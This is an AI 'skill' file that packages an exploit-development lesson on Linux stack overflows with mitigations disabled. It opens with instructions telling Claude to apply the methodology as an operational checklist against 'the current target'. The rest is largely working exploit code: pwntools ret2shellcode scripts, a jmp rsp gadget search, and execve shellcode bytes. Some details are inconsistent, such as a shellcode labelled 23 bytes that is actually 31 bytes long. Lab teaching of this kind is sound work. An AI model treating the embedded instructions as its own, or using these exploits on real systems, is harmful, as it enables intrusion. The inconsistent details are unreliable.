> offensive-basic-exploitation

offensive-basic-exploitation skill from SnailSploit/Claude-Red

fetch
$curl "https://skillshub.wtf/SnailSploit/Claude-Red/offensive-basic-exploitation?format=md"
SKILL.mdoffensive-basic-exploitation

SKILL: Week 5: Basic Exploitation (Linux with Mitigations Disabled)

Metadata

Description

Week 5 exploit development curriculum. Foundational exploitation techniques: controlling EIP/RIP, ROP chain construction, ret2libc, shellcode injection, heap spraying, bypass techniques for ASLR/NX/stack canaries. Use when building initial PoCs or understanding classic exploitation primitives.

Trigger Phrases

Use this skill when the conversation involves any of: basic exploitation, EIP control, RIP control, ROP chain, ret2libc, shellcode injection, heap spray, ASLR bypass, NX bypass, stack canary bypass, week 5

Instructions for Claude

When this skill is active:

  1. Load and apply the full methodology below as your operational checklist
  2. Follow steps in order unless the user specifies otherwise
  3. For each technique, consider applicability to the current target/context
  4. Track which checklist items have been completed
  5. Suggest next steps based on findings

Full Methodology

Week 5: Basic Exploitation (Linux with Mitigations Disabled)

Overview

created by AnotherOne from @Pwn3rzs Telegram channel.

Now that you can find and analyze vulnerabilities (Week 2 & 4), it's time to learn exploitation. This week focuses on fundamental exploitation techniques in a simplified Linux environment with modern mitigations (DEP, ASLR, stack canaries) disabled. Mastering these basics is essential before tackling mitigation bypasses in Week 7.

Next week (Week 6) we'll focus on understanding mitigations in both Linux and Windows. Week 7 will cover bypassing them.

Learning Environment:

  • CPU arch (default): amd64 (x86-64)
  • OS: Ubuntu 24.04 LTS (Linux)
  • Compiler Flags: Disable protections (-fno-stack-protector, -no-pie, -z execstack for ret2shellcode labs, /GS-)
  • ASLR: Keep enabled system-wide; disable per-process (setarch -R) or in GDB (set disable-randomization on) for deterministic labs
  • Focus: Pure exploitation techniques without bypass complexity

Day 1: Environment Setup and Stack Overflow Fundamentals

  • Goal: Set up exploitation lab and understand stack buffer overflow mechanics.
  • Activities:

Context: QNAP Stack Overflow (CVE-2024-27130)

  • Recall the QNAP QTS Stack Overflow from Week 1? That was a classic stack buffer overflow caused by strcpy without bounds checking—exactly what we'll be exploiting today.
  • While modern systems have mitigations (which we'll disable for now), the underlying mechanic remains the same: overwriting the return address to hijack control flow.

Deliverables

  • Environment: ~/check_env.sh passes and you recorded its output
  • Binary: vuln1 built and verified with checksec
  • Primitive proof: RIP control demonstrated (controlled crash address)
  • Exploit: exploit1.py (or equivalent) spawns a shell reliably
  • Notes: brief writeup covering offset, return target, and payload layout

Setting Up the Lab Environment

Ubuntu VM Configuration:

[!IMPORTANT] ASLR Policy: Keep ASLR enabled system-wide for security. Disable only per-process for labs. Never disable ASLR globally on a machine connected to the internet.

# ============================================================
# ASLR CONFIGURATION (Per-Process Only - Do NOT disable globally!)
# ============================================================
# Option 0: Disable ASLR system-wide
# echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# echo "kernel.randomize_va_space = 0" | sudo tee /etc/sysctl.d/99-disable-aslr.conf
# sudo sysctl --system

# Option 1: Disable in GDB (recommended for debugging)
# In GDB/pwndbg:
# (gdb) set disable-randomization on    # Default in GDB
# (gdb) set disable-randomization off   # If you want ASLR during debug

# Option 2: Disable for a single binary run
setarch x86_64 -R ./binary

# Option 3: In pwntools (for local process only)
# p = process('./binary', aslr=False)

# VERIFY: Check system ASLR is STILL ENABLED
cat /proc/sys/kernel/randomize_va_space
# Should output: 2 (full ASLR) - DO NOT change this!

# If you previously disabled ASLR system-wide, RE-ENABLE it:
# echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
# sudo rm -f /etc/sysctl.d/99-disable-aslr.conf  # Remove any persistent config

# ============================================================
# INSTALL ESSENTIAL TOOLS
# ============================================================

sudo apt update
sudo apt install -y \
    nasm \
    strace \
    ltrace \
    ruby \
    ruby-dev \
    libc6-dbg \
    checksec \
    patchelf

cd ~/crash_analysis_lab
source .venv/bin/activate
pip install ropgadget

# Install one_gadget (quick shell gadgets)
sudo gem install one_gadget

# Install radare2 (optional but useful)
cd ~/tools
git clone --depth 1 --branch master https://github.com/radareorg/radare2
cd radare2
sys/install.sh

# Check glibc version (important for heap exploitation)
ldd --version
# Ubuntu 24.04 ships with glibc 2.39

# ============================================================
# STANDARDIZED COMPILATION PROFILES (AMD64)
# ============================================================
# Create a Makefile with canonical build profiles for labs:

cat > ~/lab-Makefile << 'MAKEFILE'
# Lab Exploitation Makefile - AMD64 Only
# Usage: make <target> BINARY=myprogram SOURCE=myprogram.c

CC = gcc
SOURCE ?= vuln.c
BINARY ?= vuln

# Base flags for all builds (AMD64)
BASE_CFLAGS = -g -O0 -fno-omit-frame-pointer -fno-stack-protector
BASE_LDFLAGS = -no-pie

# Training profiles:
# 0. disabled: most things disabled
# 1. training-shellcode: NX disabled, for ret2shellcode exercises
# 2. training-rop: NX enabled, for ROP/ret2libc exercises
# 3. training-relro-off: Partial RELRO, for GOT overwrite exercises
# 4. training-full-relro: Full RELRO, to demonstrate GOT write fails
# 5. format-sec: for format-security bugs

disabled: $(SOURCE)
	$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -w -fcf-protection=none -z execstack -o $(BINARY) $(SOURCE)
	@echo "Built: NX=OFF, Canary=OFF, PIE=OFF, RELRO=Partial"
	@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)

training-shellcode: $(SOURCE)
	$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -z execstack -o $(BINARY) $(SOURCE)
	@echo "Built: NX=OFF, Canary=OFF, PIE=OFF, RELRO=Partial"
	@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)

training-rop: $(SOURCE)
	$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -o $(BINARY) $(SOURCE)
	@echo "Built: NX=ON, Canary=OFF, PIE=OFF, RELRO=Partial"
	@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)

training-relro-off: $(SOURCE)
	$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -fcf-protection=none -Wl,-z,norelro -o $(BINARY) $(SOURCE)
	@echo "Built: NX=ON, Canary=OFF, PIE=OFF, RELRO=OFF"
	@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)

training-full-relro: $(SOURCE)
	$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -fcf-protection=none -Wl,-z,relro,-z,now -o $(BINARY) $(SOURCE)
	@echo "Built: NX=ON, Canary=OFF, PIE=OFF, RELRO=FULL (GOT read-only!)"
	@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)

format-sec: $(SOURCE)
	$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -w -fcf-protection=none -Wno-format-security -o $(BINARY) $(SOURCE)
	@echo "Built: NX=OFF, Canary=OFF, PIE=OFF, RELRO=Partial"
	@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)

# Show all protections
check:
	@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)

clean:
	rm -f $(BINARY) *.o

.PHONY: disabled training-shellcode training-rop training-relro-off training-full-relro format-sec check clean
MAKEFILE

echo "Makefile created at ~/lab-Makefile"
echo "Copy to your lab directory: cp ~/lab-Makefile ./Makefile"

[!NOTE] Ubuntu 24.04:

  • Uses glibc 2.39 with full safe-linking and removed hooks
  • Requires python3-venv for pip package installation (PEP 668)
  • For classic heap techniques, consider using Docker with older Ubuntu

GDB Enhancement Options

Verify Setup:

mkdir -p exploit
cd exploit
cp ~/lab-Makefile ./Makefile
source ~/crash_analysis_lab/.venv/bin/activate

# Test pwntools
python3 -c "from pwn import *; print('pwntools OK')"

# Test compilation without protections (AMD64)
cat > test.c << 'EOF'
#include <stdio.h>
#include <string.h>
int main() {
    char buf[100];
    gets(buf);  // Vulnerable: reads from stdin, no bounds check
    return 0;
}
EOF

make training-shellcode BINARY=test SOURCE=test.c
#gcc -g -O0 -w -fno-stack-protector -z execstack -no-pie test.c -o test
# Should compile without errors (-w suppresses gets() warning)
# Check binary protections (should all be disabled)
# Use either: checksec (from apt) or pwn checksec (from pwntools)
# checksec --file=./test
# Or: pwn checksec ./test
# Expected output (may vary slightly by checksec version):
#     Arch:       amd64-64-little
#     RELRO:      Partial RELRO
#     Stack:      No canary found
#     NX:         NX unknown - GNU_STACK missing  (effectively disabled via -z execstack)
#     PIE:        No PIE (0x400000)
#     Stack:      Executable
#     RWX:        Has RWX segments
#     SHSTK:      Enabled    (Intel CET Shadow Stack - CPU feature, not binary)
#     IBT:        Enabled    (Intel CET Indirect Branch Tracking)
# Note: "NX unknown" with "Stack: Executable" means shellcode execution works

# ============================================================
# SANITY CHECK SCRIPT (Run Before Each Lab)
# ============================================================
cat > ~/check_env.sh << 'SCRIPT'
#!/bin/bash
# Lab Environment Sanity Check
# Run: ./check_env.sh [binary]

echo "=== Lab Environment Check ==="
echo ""

# System info
echo "[*] System Information:"
echo "    Kernel: $(uname -r)"
echo "    glibc:  $(ldd --version | head -1 | awk '{print $NF}')"
echo ""

# ASLR status
echo "[*] ASLR Status:"
ASLR=$(cat /proc/sys/kernel/randomize_va_space)
case $ASLR in
    0) echo "    WARNING: ASLR is DISABLED system-wide (insecure!)" ;;
    1) echo "    Partial ASLR (stack only)" ;;
    2) echo "    Full ASLR enabled (correct for system)" ;;
esac
echo ""

# Binary check
if [ -n "$1" ] && [ -f "$1" ]; then
    echo "[*] Binary Analysis: $1"
    echo "    Architecture: $(file "$1" | grep -oE '(32|64)-bit')"
    checksec --file="$1" 2>/dev/null || pwn checksec "$1" 2>/dev/null
    echo ""
fi

# GDB randomization
echo "[*] GDB ASLR (check inside GDB with 'show disable-randomization'):"
echo "    Default: ON (disabled randomization = deterministic addresses)"
echo ""

echo "[+] Environment check complete."
echo "    For per-process ASLR disable: setarch x86_64 -R ./binary"
echo "    Or in pwntools: process('./binary', aslr=False)"
SCRIPT
chmod +x ~/check_env.sh
echo "Sanity check script created: ~/check_env.sh"
~/check_env.sh

pwntools Essentials

Before diving into exploitation, master these pwntools fundamentals. The ELF() class is your primary interface for analyzing binaries—use it throughout this course.

ELF() Basics:

cd ~/exploit
source ~/crash_analysis_lab/.venv/bin/activate
cp ~/crash_analysis_lab/vuln_no_protect .
#!/usr/bin/env python3
# ~/exploit/1.py
from pwn import *

# Load the binary and set context
elf = ELF('./vuln_no_protect')
context.binary = elf   # Auto-sets arch, os, endian, bits
context.arch = 'amd64' # Explicit (redundant if context.binary is set)

# Binary metadata (always check these first!)
print(f"Architecture: {elf.arch}")          # amd64
print(f"Bits: {elf.bits}")                   # 64
print(f"Endian: {elf.endian}")               # little
print(f"PIE enabled: {elf.pie}")             # True/False
print(f"Entry point: {hex(elf.entry)}")      # Where execution starts

# Security mitigations (same as checksec)
print(elf.checksec())

# Symbol lookup - CRITICAL for exploitation
print(f"main @ {hex(elf.symbols['main'])}")
print(f"vulnerable_function @ {hex(elf.symbols['stack_overflow'])}")

# Find imported functions (from libc)
print(f"puts@plt: {hex(elf.plt['puts'])}")   # PLT stub
print(f"puts@got: {hex(elf.got['puts'])}")   # GOT entry

# Find gadgets and strings
print(f"'/bin/sh' in binary: {hex(elf.search(b'/bin/sh').__next__())}" if b'/bin/sh' in elf.data else "Not found")

# For binaries linked with libc
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
print(f"system in libc: {hex(libc.symbols['system'])}")
print(f"/bin/sh in libc: {hex(next(libc.search(b'/bin/sh')))}")

Context Configuration (set BEFORE any pwntools operations):

# ~/exploit/2.py
from pwn import *

# === CRITICAL: Set context from binary (AMD64) ===
elf = ELF('./vuln_no_protect')
context.binary = elf     # Sets arch='amd64', os='linux', endian='little' automatically!

# Or set explicitly (redundant if context.binary is set)
# context.arch = 'amd64'
# context.os = 'linux'
# context.endian = 'little'

# Logging level
context.log_level = 'debug'  # Show all pwntools output
context.log_level = 'info'   # Normal output (default)
context.log_level = 'error'  # Only errors

# Data packing (architecture-aware after setting context)
addr = p64(0xdeadbeef)        # Pack 64-bit address (little-endian) - AMD64
val = u64(b'\xef\xbe\xad\xde\x00\x00\x00\x00')  # Unpack 8 bytes to integer

Understanding the Stack (AMD64)

Stack Layout (x86-64 / AMD64):

High Memory
┌─────────────────────┐
│  Command-line args  │
├─────────────────────┤
│  Environment vars   │
├─────────────────────┤
│        ...          │
├─────────────────────┤
│   Stack Frame N     │
│  ┌───────────────┐  │
│  │   Locals      │  │ ← RSP (Stack Pointer)
│  ├───────────────┤  │
│  │   Saved RBP   │  │ ← RBP (Base Pointer)
│  ├───────────────┤  │
│  │   Return Addr │  │ ← Overwrite target! (8 bytes on AMD64)
│  ├───────────────┤  │
│  │   (Args 7+)   │  │   (First 6 args in registers!)
│  └───────────────┘  │
├─────────────────────┤
│   Stack Frame N-1   │
├─────────────────────┤
│        ...          │
└─────────────────────┘
Low Memory

AMD64 vs x86 Key Differences:

Featurex86 (32-bit)AMD64 (64-bit)
Register prefixE (EAX, EBP, ESP)R (RAX, RBP, RSP)
Instruction pointerEIPRIP
Address size4 bytes8 bytes
ArgumentsAll on stackRDI, RSI, RDX, RCX, R8, R9
Return valueEAXRAX
Syscall instructionint 0x80syscall
Stack alignment4-byte16-byte before call

System V AMD64 ABI Calling Convention:

; AMD64 function call: func(arg1, arg2, arg3, arg4, arg5, arg6, arg7)
; Arguments in order:
;   RDI = arg1
;   RSI = arg2
;   RDX = arg3
;   RCX = arg4
;   R8  = arg5
;   R9  = arg6
;   stack = arg7+ (pushed right-to-left)
; Return value: RAX

; Example: write(1, buf, len)
mov rdi, 1        ; fd = stdout
mov rsi, buf      ; buffer address
mov rdx, len      ; length
call write

; Syscall convention (slightly different):
;   RAX = syscall number
;   RDI, RSI, RDX, R10, R8, R9 = arguments (note: R10 instead of RCX!)
;   syscall instruction (not int 0x80)

Function Call Mechanics (AMD64):

; Calling a function (AMD64)
; Arguments go in registers (first 6)
mov rdi, arg1
mov rsi, arg2
call function      ; Pushes 8-byte return address

; Inside function
function:
    push rbp          ; Save old base pointer (8 bytes)
    mov rbp, rsp      ; Set new base pointer
    sub rsp, 0x40     ; Allocate space for locals (must maintain 16-byte alignment)

    ; Function body...

    mov rsp, rbp      ; Restore stack pointer (or: leave)
    pop rbp           ; Restore base pointer
    ret               ; Return (pops return address into RIP)

Buffer Overflow Visualization (AMD64):

Before overflow:
┌──────────────────┐
│   buffer[64]     │ ← strcpy writes here
├──────────────────┤
│   saved RBP      │  (8 bytes on AMD64)
├──────────────────┤
│  return address  │  (8 bytes on AMD64)
└──────────────────┘

After overflow with 80 'A's:
┌──────────────────┐
│ AAAAAAAAAA...    │ ← buffer filled (64 bytes)
├──────────────────┤
│ AAAAAAAA         │ ← saved RBP overwritten (8 bytes)
├──────────────────┤
│ AAAAAAAA         │ ← return address overwritten! (8 bytes)
└──────────────────┘

When function returns:
- Pops 0x4141414141414141 into RIP
- CPU tries to execute at 0x4141414141414141
- Segmentation fault (or controlled execution if address is valid)

First Vulnerable Program

vuln1.c:

#include <stdio.h>
#include <string.h>

void vulnerable_function() {
    char buffer[64];
    printf("Enter input: ");
    gets(buffer);  // Vulnerable! No bounds checking, allows null bytes
    printf("You entered: %s\n", buffer);
}

// Add this function to vuln1.c to include jmp rsp bytes
void gadgets() {
    __asm__("jmp *%rsp");  // This creates a jmp rsp gadget
}

int main() {
    printf("Buffer overflow example\n");
    vulnerable_function();
    printf("Returned safely\n");
    return 0;
}

Compile without protections (AMD64):

cd ~/exploit
# AMD64 compilation (no -m32!)
# -w suppresses the gets() deprecation warning
make disabled BINARY=vuln1 SOURCE=vuln1.c
#gcc -g -O0 -w \
#    -fno-stack-protector \
#    -fcf-protection=none \
#    -z execstack \
#    -no-pie \
#    -o vuln1 \
#    vuln1.c
#checksec --file=./vuln1

Finding the Offset

Step 1: Cause a Crash:

# Try various sizes via stdin
echo "AAAA" | ./vuln1
# Works fine

python3 -c "print('A' * 100)" | ./vuln1
# Segmentation fault

Step 2: Find Exact Offset (using pattern):

#!/usr/bin/env python3
#~/exploit/4.py
from pwn import *

context.arch = 'amd64'

# Generate cyclic pattern
pattern = cyclic(100)
print(pattern)

# Run program with pattern via stdin
# aslr=False + env={} for consistent addresses during learning
p = process('./vuln1', aslr=False, env={})
p.sendline(pattern)
p.wait()

In GDB with pwndbg (AMD64):

gdb ./vuln1

# Run and send pattern via stdin
pwndbg> run < <(python3 -c "from pwn import *; print(cyclic(100).decode())")

# Or run, then paste pattern when prompted:
#pwndbg> run
#Enter input: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

# Find offset from crash (RSP contains the pattern)
pwndbg> cyclic -n 4 -l saaa
# Output: 72

# So offset is 72 bytes (64 buffer + 8 saved RBP)

Verify Offset (AMD64):

# ~/exploit/5.py
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

# Build payload
payload = b"A" * 72                    # Fill buffer + saved RBP
payload += p64(0xdeadbeefcafebabe)     # Overwrite return address (8 bytes)

# Run and send via stdin (aslr=False for learning)
p = process('./vuln1', aslr=False, env={})
p.sendline(payload)
p.wait()

In GDB (AMD64):

gdb ./vuln1
pwndbg> run < <(python3 -c "import sys; sys.stdout.buffer.write(b'A'*72 + b'\xbe\xba\xfe\xca\xef\xbe\xad\xde')")

# Program crashes at ret instruction
# Check the stack:
pwndbg> x/gx $rsp
# 0x7fffffffe0b8: 0xdeadbeefcafebabe   <- We control the return address!

Working Exploit for vuln1 (stdin-based)

#!/usr/bin/env python3
# ~/exploit/exploit_vuln1.py
"""
Stack Buffer Overflow Exploit Template (stdin-based)

Target: vuln1 (reads input via gets() from stdin)
Vulnerability: gets() has no bounds checking, allows null bytes
Technique: ret2shellcode via jmp rsp gadget
"""
from pwn import *

# ============ SETUP (AMD64) ============
binary_path = './vuln1'
elf = ELF(binary_path)
context.binary = elf  # Sets arch=amd64 automatically

# ============ OFFSETS ============
# vulnerable_function() has: char buffer[64]
# Stack layout: [buffer:64] [saved RBP:8] [return addr:8]
OFFSET = 64 + 8  # = 72 bytes to overwrite return address

# ============ EXPLOIT ============
def exploit():
    # For LEARNING: Disable ASLR, clean environment for consistent addresses
    # For PRODUCTION: Use leaks and relative addressing
    # NOTE: stdin=PTY, stdout=PTY forces unbuffered output so prompts arrive
    #       before input is needed (otherwise printf buffers when piped)
    p = process(binary_path, aslr=False, env={}, stdin=PTY, stdout=PTY)

    # Alternatively, for remote targets:
    # p = remote('target.host', 1337)

    # Wait for prompt (important for synchronization!)
    p.recvuntil(b'Enter input: ')
    # ============ FIND GADGET ============
    # Our vuln1.c includes a jmp rsp gadget in gadgets()
    # Find it: ROPgadget --binary vuln1 | grep "jmp rsp"
    # Or use pwntools:
    rop = ROP(elf)
    try:
        jmp_rsp = rop.find_gadget(['jmp rsp'])[0]
    except:
        # Fallback: search for the bytes
        jmp_rsp = next(elf.search(asm('jmp rsp')))

    log.info(f"jmp rsp gadget @ {hex(jmp_rsp)}")

    # ============ BUILD PAYLOAD ============
    # Shellcode goes AFTER the return address (we jump to RSP)
    shellcode = asm(shellcraft.amd64.linux.sh())
    log.info(f"Shellcode length: {len(shellcode)} bytes")

    payload = b'A' * OFFSET           # Fill buffer + saved RBP
    payload += p64(jmp_rsp)           # Overwrite return address with jmp rsp
    payload += shellcode              # Shellcode right after return addr
                                      # RSP points here after ret!

    log.info(f"Total payload: {len(payload)} bytes")

    # ============ SEND PAYLOAD ============
    # sendline() sends raw bytes over the pipe - null bytes work fine!
    # This is the proper way to deliver exploits
    p.sendline(payload)

    # ============ GET SHELL ============
    log.success("Payload sent! Switching to interactive mode...")
    p.interactive()

def debug():
    """Debug mode - attach GDB manually"""
    p = process(binary_path, aslr=False, env={}, stdin=PTY, stdout=PTY)
    log.info("Run the following commands in a SECOND terminal")
    log.info("gdb -p $(pidof vuln1)")
    log.info("b vulnerable_function")
    log.info("c")
    pause()

    p.recvuntil(b'Enter input: ')
    payload = cyclic(200)
    p.sendline(payload)
    p.interactive()

if __name__ == '__main__':
    if args.GDB:
        debug()
    else:
        exploit()

# Usage:
# python3 exploit_vuln1.py           - Run exploit
# python3 exploit_vuln1.py GDB       - Debug with GDB attached
#
# Why stdin (not argv)?
# 1. Real exploits use network sockets or file input, not CLI args
# 2. pwntools handles null bytes transparently over pipes
# 3. Works identically for local process() and remote()
# 4. No shell escaping issues or argument parsing problems

Writing Simple Shellcode

Linux AMD64 Shellcode Basics:

Syscall Convention (AMD64):

  • syscall instruction triggers syscall (NOT int 0x80!)
  • rax = syscall number
  • rdi, rsi, rdx, r10, r8, r9 = arguments (note: r10 instead of rcx)
  • Return value in rax

execve("/bin/sh", NULL, NULL) Shellcode (AMD64):

; AMD64 execve syscall (rax = 59)
; rdi = pointer to "/bin/sh"
; rsi = NULL (argv)
; rdx = NULL (envp)

section .text
global _start

_start:
    ; Clear registers
    xor rsi, rsi          ; rsi = NULL (argv)
    xor rdx, rdx          ; rdx = NULL (envp)

    ; Push "/bin/sh" onto stack (with NULL terminator)
    xor rax, rax
    push rax              ; NULL terminator
    mov rax, 0x68732f6e69622f2f  ; "//bin/sh" in little-endian
    push rax

    ; Set up execve
    mov rdi, rsp          ; rdi = pointer to "//bin/sh"
    xor rax, rax
    mov al, 59            ; rax = 59 (execve syscall number)

    ; Execute
    syscall               ; Trigger syscall (NOT int 0x80!)

Assemble and Extract Bytes (AMD64):

cd ~/exploit
# Save as shellcode.asm
nasm -f elf64 shellcode.asm -o shellcode.o
ld -o shellcode shellcode.o

# Extract shellcode bytes
objdump -d shellcode -M intel

# Or use this one-liner
for i in $(objdump -d shellcode -M intel | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo

Result (23 bytes AMD64 shellcode):

shellcode = b"\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xc0\xb0\x3b\x0f\x05"

Test Shellcode Standalone (AMD64):

#!/usr/bin/env python3
#~/exploit/6.py
from pwn import *

context.arch = 'amd64'
context.os = 'linux'

# Generate shellcode with pwntools (preferred - handles arch automatically)
shellcode = asm(shellcraft.amd64.linux.sh())

# Method 1: Use run_shellcode (simplest)
p = run_shellcode(shellcode)
p.interactive()
# Should get shell!

# Method 2: Create executable and run
# Useful for debugging
#with open('/tmp/sc.bin', 'wb') as f:
#    f.write(shellcode)

Complete Exploit

exploit1.py (AMD64):

#!/usr/bin/env python3
"""
Stack Buffer Overflow Exploit for vuln1 (AMD64)

Technique: Direct ret2shellcode via stdin
Target: vuln1 (no protections, stdin-based input)

Run with: python exploit1.py
"""

from pwn import *

# Configuration
binary = './vuln1'
elf = ELF(binary)
context.binary = elf  # Sets arch=amd64 automatically
offset = 72  # 64 buffer + 8 saved RBP

# Shellcode with stack pivot to prevent self-destruction
# The pwntools shellcode uses push instructions which write backwards on the stack.
# After ret, RSP points just past our payload - push would overwrite our shellcode!
# Solution: Move RSP away first with "sub rsp, 0x100"
stack_pivot = asm('sub rsp, 0x100')
shellcode = stack_pivot + asm(shellcraft.amd64.linux.sh())

def exploit():
    # Start process with ASLR disabled using setarch wrapper
    # env={} clears environment variables for consistent stack addresses
    p = process(['setarch', 'x86_64', '-R', binary], env={})

    # Get buffer address by analyzing a crash:
    # 1. Generate payload with dummy address:
    #    python3 -c "from pwn import *; ..." > payload.bin
    # 2. Run and get core dump:
    #    ulimit -c unlimited
    #    env -i setarch x86_64 -R ./vuln1 < payload.bin
    # 3. Analyze core to find actual buffer location:
    #    gdb ./vuln1 core
    #    RSP after ret shows where we are on stack
    #    Buffer = (saved RBP location) - 0x40
    #
    # Note: GDB adds ~0x60 bytes to stack even with env -i, so addresses
    # found in GDB need adjustment for standalone execution.
    buffer_addr = 0x7fffffffecc0

    # Build payload:
    # [NOP sled][stack_pivot + shellcode][padding][return address -> buffer]
    payload = b"\x90" * 16            # NOP sled for tolerance
    payload += shellcode              # Stack pivot + shellcode
    payload += b"A" * (offset - len(payload))  # Padding to fill offset
    payload += p64(buffer_addr)       # Return to start of buffer (8 bytes)

    log.info(f"Shellcode length: {len(shellcode)}")
    log.info(f"Total payload: {len(payload)}")
    log.info(f"Jumping to: {hex(buffer_addr)}")

    # Send payload via stdin
    p.sendline(payload)

    # Interact with shell
    p.interactive()

if __name__ == "__main__":
    exploit()

Better Approach: Using jmp rsp Gadget (AMD64) (More Reliable):

[!TIP] Hardcoding stack addresses is fragile—addresses vary between GDB and normal execution, different terminals, environment sizes, etc. A jmp rsp or call rsp gadget provides a stable return target since RSP points to our controlled data after ret.

#!/usr/bin/env python3
#~/exploit/exploit2.py
"""
ret2shellcode using jmp rsp gadget (AMD64)

This approach is more reliable than hardcoded stack addresses because:
- Works regardless of environment variable differences
- No need to guess exact stack layout
- RSP points to our shellcode right after ret executes
"""
from pwn import *

binary = './vuln1'
elf = ELF(binary)
context.binary = elf  # Sets arch=amd64

def find_jmp_rsp():
    """Find a jmp rsp or call rsp gadget in the binary"""
    # Search for jmp rsp (0xff 0xe4) or call rsp (0xff 0xd4)
    try:
        jmp_rsp = next(elf.search(asm('jmp rsp')))
        log.success(f"Found jmp rsp at {hex(jmp_rsp)}")
        return jmp_rsp
    except StopIteration:
        pass

    try:
        call_rsp = next(elf.search(asm('call rsp')))
        log.success(f"Found call rsp at {hex(call_rsp)}")
        return call_rsp
    except StopIteration:
        pass

    # Try ROPgadget as fallback
    log.warning("No jmp/call rsp in binary, trying ROPgadget...")
    # Run: ROPgadget --binary ./vuln1 | grep "jmp rsp\|call rsp"
    return None

def exploit():
    offset = 72  # 64 buffer + 8 saved RBP (AMD64)

    # Find jmp rsp gadget
    jmp_rsp = find_jmp_rsp()
    if not jmp_rsp:
        log.error("No jmp rsp gadget found! Use fixed address method instead.")
        return

    # Shellcode (placed AFTER return address)
    shellcode = asm(shellcraft.amd64.linux.sh())

    # Payload layout:
    # [padding (72 bytes)][jmp_rsp addr (8 bytes)][nop sled][shellcode]
    # After ret: RIP = jmp_rsp, RSP points to nop sled
    payload = b"A" * offset           # Fill buffer + saved RBP
    payload += p64(jmp_rsp)           # Return to jmp rsp (8 bytes!)
    payload += b"\x90" * 16           # NOP sled (RSP lands here)
    payload += shellcode              # Shellcode executes

    # Launch and send via stdin
    p = process(binary)
    p.sendline(payload)
    p.interactive()

if __name__ == "__main__":
    exploit()

Debugging Your Exploit

When your exploit doesn't work (it won't on the first try!), use these systematic debugging techniques.

Method 1: GDB Attach with pwntools

#!/usr/bin/env python3
#~/exploit/exploit_debug.py
from pwn import *

elf = ELF('./vuln1')
context.binary = elf  # Sets arch=amd64

# Start process with ASLR disabled and clean env for learning
p = process('./vuln1', aslr=False, env={})

# Print PID and pause - attach GDB manually in another terminal/SSH session
log.info(f"Process PID: {p.pid}")
log.info(f"Attach GDB in another terminal: gdb -p {p.pid}")
input("Press Enter after attaching GDB and setting breakpoints...")

# Build and send payload (AMD64)
payload = b'A' * 72 + p64(0xdeadbeefcafe)
p.sendline(payload)

# Interact with the process
p.interactive()

Usage:

# Terminal 1: Run exploit
python exploit_debug.py
# It will print PID and wait...

# Terminal 2: Attach GDB
gdb -p <PID>
(gdb) break *vulnerable_function+74
(gdb) continue
# Press Enter in Terminal 1 to send payload

Example Debug Session Output:

After hitting the breakpoint at ret, you'll see something like:

pwndbg> # At ret instruction - examine the stack
pwndbg> x/20gx $rsp-0x60
0x7ffd11d25cb8: 0x0000000000403e00      0x00007ffd11d25d10
0x7ffd11d25cc8: 0x000000000040118e      0x4141414141414141  <- Buffer starts here
0x7ffd11d25cd8: 0x4141414141414141      0x4141414141414141
0x7ffd11d25ce8: 0x4141414141414141      0x4141414141414141
0x7ffd11d25cf8: 0x4141414141414141      0x4141414141414141
0x7ffd11d25d08: 0x4141414141414141      0x4141414141414141  <- Saved RBP (overwritten)
0x7ffd11d25d18: 0x0000deadbeefcafe      0x00007ffd11d25d00  <- Return address (overwritten)

Interpreting the output:

  • Buffer address: 0x7ffd11d25cd0 (first A's at offset 0x8 from 0x7ffd11d25cc8)
  • Our A's (0x4141414141414141) fill 64 bytes of buffer + 8 bytes of saved RBP
  • Return address at 0x7ffd11d25d18 contains our value 0xdeadbeefcafe
  • Offset confirmed: 72 bytes (64 buffer + 8 saved RBP) before return address

Method 2: Step-by-Step GDB Analysis (AMD64)

# Start GDB with ASLR disabled for consistent addresses
env -i setarch x86_64 -R gdb ./vuln1

# Set breakpoint at ret instruction (vulnerable_function+74)
pwndbg> break *vulnerable_function+74
pwndbg> run

# Program waits for input - type pattern to find offset:
Enter input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC

# At breakpoint, examine key registers:
pwndbg> info registers rbp rsp rip
# RBP = 0x4242424242424242 (BBBBBBBB) - confirms offset 64 to saved RBP
# RSP points to return address location

# View stack layout around buffer:
pwndbg> x/20gx $rsp-0x60

# Find buffer address:
pwndbg> print $rbp - 0x40             # Buffer is at [rbp - 0x40] before overflow
# Or calculate from current RSP:
# buffer_addr = RSP - 8 (saved RBP) - 64 (buffer) = RSP - 72

# Step into ret to see crash:
pwndbg> si
# Will crash trying to jump to 0x4343434343434343 (CCCCCCCC)

# For automated testing with payload file:
#pwndbg> run < payload.bin

Common Debugging Scenarios:

SymptomLikely CauseDebug Command
Crash at wrong addressOffset incorrectcyclic -l <crash_addr>
Crash at correct addr but no shellShellcode bad or wrong locationx/20i <shellcode_addr>
"Illegal instruction"Bad shellcode or architecture mismatchCheck context.binary
Segfault in libcStack alignment (AMD64!)Add extra ret gadget
Works in GDB, fails outsideEnvironment variable differencesetarch -R ./vuln

The GDB vs Real Execution Problem:

